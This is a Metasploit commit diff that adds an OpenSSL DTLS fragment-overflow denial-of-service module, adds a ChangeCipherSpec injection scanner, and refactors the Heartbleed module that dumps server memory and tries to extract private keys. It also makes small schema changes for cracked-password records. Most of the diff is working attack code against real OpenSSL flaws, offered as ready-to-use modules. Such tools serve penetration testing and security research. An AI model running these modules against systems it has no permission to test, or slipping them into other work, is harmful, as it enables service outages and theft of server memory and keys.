Resolve upstream conflict
commit
651871bd7a
11
db/schema.rb
11
db/schema.rb
|
@ -11,7 +11,7 @@
|
|||
#
|
||||
# It's strongly recommended to check this file into your version control system.
|
||||
|
||||
ActiveRecord::Schema.define(:version => 20140520140817) do
|
||||
ActiveRecord::Schema.define(:version => 20140605173747) do
|
||||
|
||||
create_table "api_keys", :force => true do |t|
|
||||
t.text "token"
|
||||
|
@ -198,6 +198,14 @@ ActiveRecord::Schema.define(:version => 20140520140817) do
|
|||
add_index "metasploit_credential_logins", ["core_id", "service_id"], :name => "index_metasploit_credential_logins_on_core_id_and_service_id", :unique => true
|
||||
add_index "metasploit_credential_logins", ["service_id", "core_id"], :name => "index_metasploit_credential_logins_on_service_id_and_core_id", :unique => true
|
||||
|
||||
create_table "metasploit_credential_origin_cracked_passwords", :force => true do |t|
|
||||
t.integer "metasploit_credential_core_id", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], :name => "originating_credential_cores"
|
||||
|
||||
create_table "metasploit_credential_origin_imports", :force => true do |t|
|
||||
t.text "filename", :null => false
|
||||
t.integer "task_id", :null => false
|
||||
|
@ -238,6 +246,7 @@ ActiveRecord::Schema.define(:version => 20140520140817) do
|
|||
t.text "data", :null => false
|
||||
t.datetime "created_at", :null => false
|
||||
t.datetime "updated_at", :null => false
|
||||
t.string "jtr_format"
|
||||
end
|
||||
|
||||
add_index "metasploit_credential_privates", ["type", "data"], :name => "index_metasploit_credential_privates_on_type_and_data", :unique => true
|
||||
|
|
|
@ -70,13 +70,19 @@ module Msf::Module::Deprecated
|
|||
print_warning("*"*72)
|
||||
end
|
||||
|
||||
def init_ui(input = nil, output = nil)
|
||||
super(input, output)
|
||||
print_deprecation_warning
|
||||
@you_have_been_warned = true
|
||||
end
|
||||
|
||||
def generate
|
||||
print_deprecation_warning
|
||||
super
|
||||
end
|
||||
|
||||
def setup
|
||||
print_deprecation_warning
|
||||
print_deprecation_warning unless @you_have_been_warned
|
||||
super
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,82 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Auxiliary::Dos
|
||||
include Exploit::Remote::Udp
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'OpenSSL DTLS Fragment Buffer Overflow DoS',
|
||||
'Description' => %q{
|
||||
This module performs a Denial of Service Attack against Datagram TLS in
|
||||
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h.
|
||||
This occurs when a DTLS ClientHello message has multiple fragments and the
|
||||
fragment lengths of later fragments are larger than that of the first, a
|
||||
buffer overflow occurs, causing a DoS.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Juri Aedla <asd[at]ut.ee>', # Vulnerability discovery
|
||||
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-0195'],
|
||||
['ZDI', '14-173'],
|
||||
['BID', '67900'],
|
||||
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/ZDI-14-173-CVE-2014-0195-OpenSSL-DTLS-Fragment-Out-of-Bounds/ba-p/6501002'],
|
||||
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Once-Bled-Twice-Shy-OpenSSL-CVE-2014-0195/ba-p/6501048']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 05 2014'))
|
||||
|
||||
register_options([
|
||||
Opt::RPORT(4433),
|
||||
OptInt.new('VERSION', [true, "SSl/TLS version", 0xFEFF])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def build_tls_fragment(type, length, seq, frag_offset, frag_length, frag_body=nil)
|
||||
# format is: type (1 byte), total length (3 bytes), sequence # (2 bytes),
|
||||
# fragment offset (3 bytes), fragment length (3 bytes), fragment body
|
||||
sol = (seq << 48) | (frag_offset << 24) | frag_length
|
||||
[
|
||||
(type << 24) | length,
|
||||
(sol >> 32),
|
||||
(sol & 0x00000000FFFFFFFF)
|
||||
].pack("NNN") + frag_body
|
||||
end
|
||||
|
||||
def build_tls_message(type, version, epoch, sequence, message)
|
||||
# format is: type (1 byte), version (2 bytes), epoch # (2 bytes),
|
||||
# sequence # (6 bytes) + message length (2 bytes), message body
|
||||
es = (epoch << 48) | sequence
|
||||
[
|
||||
type,
|
||||
version,
|
||||
(es >> 32),
|
||||
(es & 0x00000000FFFFFFFF),
|
||||
message.length
|
||||
].pack("CnNNn") + message
|
||||
end
|
||||
|
||||
def run
|
||||
# add a small fragment
|
||||
fragments = build_tls_fragment(1, 2, 0, 0, 1, 'C')
|
||||
# add a large fragment where the length is significantly larger than that of the first
|
||||
# TODO: you'll need to tweak the 2nd, 5th and 6th arguments to trigger the condition in some situations
|
||||
fragments << build_tls_fragment(1, 1234, 0, 0, 123, Rex::Text.rand_text_alpha(1234))
|
||||
message = build_tls_message(22, datastore['VERSION'], 0, 0, fragments)
|
||||
connect_udp
|
||||
print_status("#{rhost}:#{rport} - Sending fragmented DTLS client hello packet")
|
||||
udp_sock.put(message)
|
||||
disconnect_udp
|
||||
end
|
||||
end
|
|
@ -0,0 +1,207 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
CIPHER_SUITES = [
|
||||
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
|
||||
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
|
||||
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
|
||||
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
|
||||
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|
||||
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
|
||||
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|
||||
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
|
||||
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
|
||||
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
|
||||
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
|
||||
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
|
||||
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
|
||||
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
|
||||
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
|
||||
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
|
||||
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
|
||||
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
|
||||
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
|
||||
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
|
||||
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
|
||||
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
|
||||
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
|
||||
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
|
||||
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
|
||||
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
|
||||
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
|
||||
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
|
||||
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
|
||||
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
|
||||
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
|
||||
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
|
||||
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
|
||||
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
|
||||
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
|
||||
0x0005, # TLS_RSA_WITH_RC4_128_SHA
|
||||
0x0004, # TLS_RSA_WITH_RC4_128_MD5
|
||||
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
|
||||
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
|
||||
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
|
||||
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|
||||
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
|
||||
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
|
||||
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
|
||||
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
|
||||
0x00ff # Unknown
|
||||
]
|
||||
|
||||
HANDSHAKE_RECORD_TYPE = 0x16
|
||||
CCS_RECORD_TYPE = 0x14
|
||||
ALERT_RECORD_TYPE = 0x15
|
||||
TLS_VERSION = {
|
||||
'SSLv3' => 0x0300,
|
||||
'1.0' => 0x0301,
|
||||
'1.1' => 0x0302,
|
||||
'1.2' => 0x0303
|
||||
}
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner',
|
||||
'Description' => %q{
|
||||
This module checks for the OpenSSL ChageCipherSpec (CCS)
|
||||
Injection vulnerability. The problem exists in the handling of early
|
||||
CCS messages during session negotation. Vulnerable installations of OpenSSL accepts
|
||||
them, while later implementations do not. If successful, an attacker can leverage this
|
||||
vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec
|
||||
between a client and server. This issue was first reported in early June, 2014.
|
||||
},
|
||||
'Author' => [
|
||||
'Masashi Kikuchi', # Vulnerability discovery
|
||||
'Craig Young <CYoung[at]tripwire.com>', # Original Scanner. This module is based on it.
|
||||
'juan vazquez' # Msf module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2014-0224'],
|
||||
['URL', 'http://ccsinjection.lepidum.co.jp/'],
|
||||
['URL', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html'],
|
||||
['URL', 'http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/'],
|
||||
['URL', 'https://www.imperialviolet.org/2014/06/05/earlyccs.html']
|
||||
],
|
||||
'DisclosureDate' => 'Jun 5 2014',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
|
||||
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def response_timeout
|
||||
datastore['RESPONSE_TIMEOUT']
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
ccs_injection
|
||||
end
|
||||
|
||||
def ccs_injection
|
||||
connect_result = establish_connect
|
||||
return if connect_result.nil?
|
||||
|
||||
vprint_status("#{peer} - Sending CCS...")
|
||||
sock.put(ccs)
|
||||
alert = sock.get_once(-1, response_timeout)
|
||||
if alert.blank?
|
||||
print_good("#{peer} - No alert after invalid CSS message, probably vulnerable")
|
||||
report
|
||||
elsif alert.unpack("C").first == ALERT_RECORD_TYPE
|
||||
vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable")
|
||||
elsif alert
|
||||
vprint_warning("#{peer} - Unexpected response.")
|
||||
end
|
||||
end
|
||||
|
||||
def report
|
||||
report_vuln({
|
||||
:host => rhost,
|
||||
:port => rport,
|
||||
:name => self.name,
|
||||
:refs => self.references,
|
||||
:info => "Module #{self.fullname} successfully detected CCS injection"
|
||||
})
|
||||
end
|
||||
|
||||
def ccs
|
||||
payload = "\x01" # Change Cipher Spec Message
|
||||
|
||||
ssl_record(CCS_RECORD_TYPE, payload)
|
||||
end
|
||||
|
||||
def client_hello
|
||||
# Use current day for TLS time
|
||||
time_temp = Time.now
|
||||
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
||||
|
||||
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
|
||||
hello_data << [time_epoch].pack("N") # Time in epoch format
|
||||
hello_data << Rex::Text.rand_text(28) # Random
|
||||
hello_data << "\x00" # Session ID length
|
||||
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
|
||||
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
|
||||
hello_data << "\x01" # Compression methods length (1)
|
||||
hello_data << "\x00" # Compression methods: null
|
||||
|
||||
data = "\x01\x00" # Handshake Type: Client Hello (1)
|
||||
data << [hello_data.length].pack("n") # Length
|
||||
data << hello_data
|
||||
|
||||
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
||||
end
|
||||
|
||||
def ssl_record(type, data)
|
||||
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
|
||||
record << data
|
||||
end
|
||||
|
||||
def establish_connect
|
||||
connect
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
server_hello = sock.get(response_timeout)
|
||||
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
disconnect
|
||||
return nil
|
||||
end
|
||||
|
||||
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return nil
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
end
|
||||
|
|
@ -3,6 +3,12 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests.
|
||||
# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300
|
||||
# but there were too many errors
|
||||
# TODO: Parse the rest of the server responses and return a hash with the data
|
||||
# TODO: Extract the relevant functions and include them in the framework
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
@ -65,9 +71,15 @@ class Metasploit3 < Msf::Auxiliary
|
|||
0x00ff # Unknown
|
||||
]
|
||||
|
||||
HANDSHAKE_RECORD_TYPE = 0x16
|
||||
HEARTBEAT_RECORD_TYPE = 0x18
|
||||
ALERT_RECORD_TYPE = 0x15
|
||||
HANDSHAKE_RECORD_TYPE = 0x16
|
||||
HEARTBEAT_RECORD_TYPE = 0x18
|
||||
ALERT_RECORD_TYPE = 0x15
|
||||
HANDSHAKE_SERVER_HELLO_TYPE = 0x02
|
||||
HANDSHAKE_CERTIFICATE_TYPE = 0x0b
|
||||
HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c
|
||||
HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e
|
||||
|
||||
|
||||
TLS_VERSION = {
|
||||
'SSLv3' => 0x0300,
|
||||
'1.0' => 0x0301,
|
||||
|
@ -141,7 +153,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
Opt::RPORT(443),
|
||||
OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]),
|
||||
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
|
||||
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
|
||||
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]),
|
||||
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
|
||||
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil]),
|
||||
OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10])
|
||||
|
@ -150,11 +162,20 @@ class Metasploit3 < Msf::Auxiliary
|
|||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]),
|
||||
OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])
|
||||
OptString.new('XMPPDOMAIN', [true, 'The XMPP Domain to use when Jabber is selected', 'localhost'])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
#
|
||||
# Main methods
|
||||
#
|
||||
|
||||
# Called when using check
|
||||
def check_host(ip)
|
||||
@check_only = true
|
||||
vprint_status "#{peer} - Checking for Heartbleed exposure"
|
||||
|
@ -165,20 +186,48 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
# Main method
|
||||
def run
|
||||
if heartbeat_length > 65535 || heartbeat_length < 0
|
||||
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
|
||||
print_error('HEARTBEAT_LENGTH should be a natural number less than 65536')
|
||||
return
|
||||
end
|
||||
|
||||
if response_timeout < 0
|
||||
print_error("RESPONSE_TIMEOUT should be bigger than 0")
|
||||
print_error('RESPONSE_TIMEOUT should be bigger than 0')
|
||||
return
|
||||
end
|
||||
|
||||
super
|
||||
end
|
||||
|
||||
# Main method
|
||||
def run_host(ip)
|
||||
# initial connect to get public key and stuff
|
||||
connect_result = establish_connect
|
||||
disconnect
|
||||
return if connect_result.nil?
|
||||
|
||||
case action.name
|
||||
when 'SCAN'
|
||||
loot_and_report(bleed)
|
||||
when 'DUMP'
|
||||
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
|
||||
when 'KEYS'
|
||||
getkeys
|
||||
else
|
||||
#Shouldn't get here, since Action is Enum
|
||||
print_error("Unknown Action: #{action.name}")
|
||||
end
|
||||
|
||||
# ensure all connections are closed
|
||||
disconnect
|
||||
end
|
||||
|
||||
#
|
||||
# DATASTORE values
|
||||
#
|
||||
|
||||
# If this is merely a check, set to the RFC-defined
|
||||
# maximum padding length of 2^14. See:
|
||||
# https://tools.ietf.org/html/rfc6520#section-4
|
||||
|
@ -187,53 +236,77 @@ class Metasploit3 < Msf::Auxiliary
|
|||
if @check_only
|
||||
SAFE_CHECK_MAX_RECORD_LENGTH
|
||||
else
|
||||
datastore["HEARTBEAT_LENGTH"]
|
||||
datastore['HEARTBEAT_LENGTH']
|
||||
end
|
||||
end
|
||||
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
def response_timeout
|
||||
datastore['RESPONSE_TIMEOUT']
|
||||
end
|
||||
|
||||
def tls_version
|
||||
datastore['TLS_VERSION']
|
||||
end
|
||||
|
||||
def dumpfilter
|
||||
datastore['DUMPFILTER']
|
||||
end
|
||||
|
||||
def max_keytries
|
||||
datastore['MAX_KEYTRIES']
|
||||
end
|
||||
|
||||
def xmpp_domain
|
||||
datastore['XMPPDOMAIN']
|
||||
end
|
||||
|
||||
def status_every
|
||||
datastore['STATUS_EVERY']
|
||||
end
|
||||
|
||||
def tls_callback
|
||||
datastore['TLS_CALLBACK']
|
||||
end
|
||||
|
||||
#
|
||||
# TLS Callbacks
|
||||
#
|
||||
|
||||
def tls_smtp
|
||||
# https://tools.ietf.org/html/rfc3207
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
|
||||
unless res && res =~ /STARTTLS/
|
||||
return nil
|
||||
end
|
||||
sock.put("STARTTLS\r\n")
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
end
|
||||
|
||||
def tls_imap
|
||||
# http://tools.ietf.org/html/rfc2595
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
sock.put("a001 CAPABILITY\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
unless res && res =~ /STARTTLS/i
|
||||
return nil
|
||||
end
|
||||
sock.put("a002 STARTTLS\r\n")
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
end
|
||||
|
||||
def tls_postgres
|
||||
# postgresql TLS - works with all modern pgsql versions - 8.0 - 9.3
|
||||
# http://www.postgresql.org/docs/9.3/static/protocol-message-formats.html
|
||||
sock.get_once
|
||||
get_data
|
||||
# the postgres SSLRequest packet is a int32(8) followed by a int16(1234),
|
||||
# int16(5679) in network format
|
||||
psql_sslrequest = [8].pack('N')
|
||||
psql_sslrequest << [1234, 5679].pack('n*')
|
||||
sock.put(psql_sslrequest)
|
||||
res = sock.get_once
|
||||
res = get_data
|
||||
unless res && res =~ /S/
|
||||
return nil
|
||||
end
|
||||
|
@ -242,14 +315,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
def tls_pop3
|
||||
# http://tools.ietf.org/html/rfc2595
|
||||
sock.get_once(-1, response_timeout)
|
||||
get_data
|
||||
sock.put("CAPA\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
if res.nil? || res =~ /^-/ || res !~ /STLS/
|
||||
return nil
|
||||
end
|
||||
sock.put("STLS\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
if res.nil? || res =~ /^-/
|
||||
return nil
|
||||
end
|
||||
|
@ -265,13 +338,13 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def tls_jabber
|
||||
sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
|
||||
sock.put(jabber_connect_msg(xmpp_domain))
|
||||
res = sock.get(response_timeout)
|
||||
if res && res.include?('host-unknown')
|
||||
jabber_host = res.match(/ from='([\w.]*)' /)
|
||||
if jabber_host && jabber_host[1]
|
||||
disconnect
|
||||
connect
|
||||
establish_connect
|
||||
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
|
||||
sock.put(jabber_connect_msg(jabber_host[1]))
|
||||
res = sock.get(response_timeout)
|
||||
|
@ -293,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
res = sock.get(response_timeout)
|
||||
return nil if res.nil?
|
||||
sock.put("AUTH TLS\r\n")
|
||||
res = sock.get_once(-1, response_timeout)
|
||||
res = get_data
|
||||
return nil if res.nil?
|
||||
if res !~ /^234/
|
||||
# res contains the error message
|
||||
|
@ -303,31 +376,83 @@ class Metasploit3 < Msf::Auxiliary
|
|||
res
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
case action.name
|
||||
when 'SCAN'
|
||||
loot_and_report(bleed)
|
||||
when 'DUMP'
|
||||
loot_and_report(bleed) # Scan & Dump are similar, scan() records results
|
||||
when 'KEYS'
|
||||
getkeys()
|
||||
else
|
||||
#Shouldn't get here, since Action is Enum
|
||||
print_error("Unknown Action: #{action.name}")
|
||||
return
|
||||
#
|
||||
# Helper Methods
|
||||
#
|
||||
|
||||
# Get data from the socket
|
||||
# this ensures the requested length is read (if available)
|
||||
def get_data(length = -1)
|
||||
|
||||
return sock.get_once(-1, response_timeout) if length == -1
|
||||
|
||||
to_receive = length
|
||||
data = ''
|
||||
while to_receive > 0
|
||||
temp = sock.get_once(to_receive, response_timeout)
|
||||
break if temp.nil?
|
||||
|
||||
data << temp
|
||||
to_receive -= temp.length
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def to_hex_string(data)
|
||||
data.each_byte.map { |b| sprintf('%02X ', b) }.join.strip
|
||||
end
|
||||
|
||||
# establishes a connect and parses the server response
|
||||
def establish_connect
|
||||
connect
|
||||
|
||||
unless tls_callback == 'None'
|
||||
vprint_status("#{peer} - Trying to start SSL via #{tls_callback}")
|
||||
res = self.send(TLS_CALLBACKS[tls_callback])
|
||||
if res.nil?
|
||||
vprint_error("#{peer} - STARTTLS failed...")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Sending Client Hello...")
|
||||
sock.put(client_hello)
|
||||
|
||||
server_hello = sock.get(response_timeout)
|
||||
unless server_hello
|
||||
vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...")
|
||||
return nil
|
||||
end
|
||||
|
||||
server_resp_parsed = parse_ssl_record(server_hello)
|
||||
|
||||
if server_resp_parsed.nil?
|
||||
vprint_error("#{peer} - Server Hello Not Found")
|
||||
return nil
|
||||
end
|
||||
|
||||
server_resp_parsed
|
||||
end
|
||||
|
||||
# Generates a heartbeat request
|
||||
def heartbeat_request(length)
|
||||
payload = "\x01" # Heartbeat Message Type: Request (1)
|
||||
payload << [length].pack('n') # Payload Length: 65535
|
||||
|
||||
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
|
||||
end
|
||||
|
||||
# Generates, sends and receives a heartbeat message
|
||||
def bleed
|
||||
# This actually performs the heartbleed portion
|
||||
connect_result = establish_connect
|
||||
return if connect_result.nil?
|
||||
|
||||
vprint_status("#{peer} - Sending Heartbeat...")
|
||||
sock.put(heartbeat(heartbeat_length))
|
||||
hdr = sock.get_once(5, response_timeout)
|
||||
if hdr.blank?
|
||||
sock.put(heartbeat_request(heartbeat_length))
|
||||
hdr = get_data(5)
|
||||
if hdr.nil? || hdr.empty?
|
||||
vprint_error("#{peer} - No Heartbeat response...")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
|
@ -338,33 +463,36 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
# try to get the TLS error
|
||||
if type == ALERT_RECORD_TYPE
|
||||
res = sock.get_once(len, response_timeout)
|
||||
res = get_data(len)
|
||||
alert_unp = res.unpack('CC')
|
||||
alert_level = alert_unp[0]
|
||||
alert_desc = alert_unp[1]
|
||||
msg = "Unknown error"
|
||||
|
||||
# http://tools.ietf.org/html/rfc5246#section-7.2
|
||||
case alert_desc
|
||||
when 0x46
|
||||
msg = "Protocol error. Looks like the chosen protocol is not supported."
|
||||
msg = 'Protocol error. Looks like the chosen protocol is not supported.'
|
||||
else
|
||||
msg = 'Unknown error'
|
||||
end
|
||||
vprint_error("#{peer} - #{msg}")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
|
||||
vprint_error("#{peer} - Unexpected Heartbeat response")
|
||||
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[tls_version]
|
||||
vprint_error("#{peer} - Unexpected Heartbeat response header (#{to_hex_string(hdr)})")
|
||||
disconnect
|
||||
return
|
||||
end
|
||||
|
||||
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
|
||||
heartbeat_data = get_data(heartbeat_length)
|
||||
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
|
||||
disconnect
|
||||
heartbeat_data
|
||||
end
|
||||
|
||||
# Stores received data
|
||||
def loot_and_report(heartbeat_data)
|
||||
|
||||
unless heartbeat_data
|
||||
|
@ -382,19 +510,19 @@ class Metasploit3 < Msf::Auxiliary
|
|||
})
|
||||
|
||||
if action.name == 'DUMP' # Check mode, dump if requested.
|
||||
pattern = datastore['DUMPFILTER']
|
||||
pattern = dumpfilter
|
||||
if pattern
|
||||
match_data = heartbeat_data.scan(pattern).join
|
||||
else
|
||||
match_data = heartbeat_data
|
||||
end
|
||||
path = store_loot(
|
||||
"openssl.heartbleed.server",
|
||||
"application/octet-stream",
|
||||
'openssl.heartbleed.server',
|
||||
'application/octet-stream',
|
||||
rhost,
|
||||
match_data,
|
||||
nil,
|
||||
"OpenSSL Heartbleed server memory"
|
||||
'OpenSSL Heartbleed server memory'
|
||||
)
|
||||
print_status("#{peer} - Heartbeat data stored in #{path}")
|
||||
end
|
||||
|
@ -403,12 +531,12 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def getkeys()
|
||||
unless datastore['TLS_CALLBACK'] == 'None'
|
||||
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
|
||||
return
|
||||
end
|
||||
#
|
||||
# Keydumoing helper methods
|
||||
#
|
||||
|
||||
# Tries to retreive the private key
|
||||
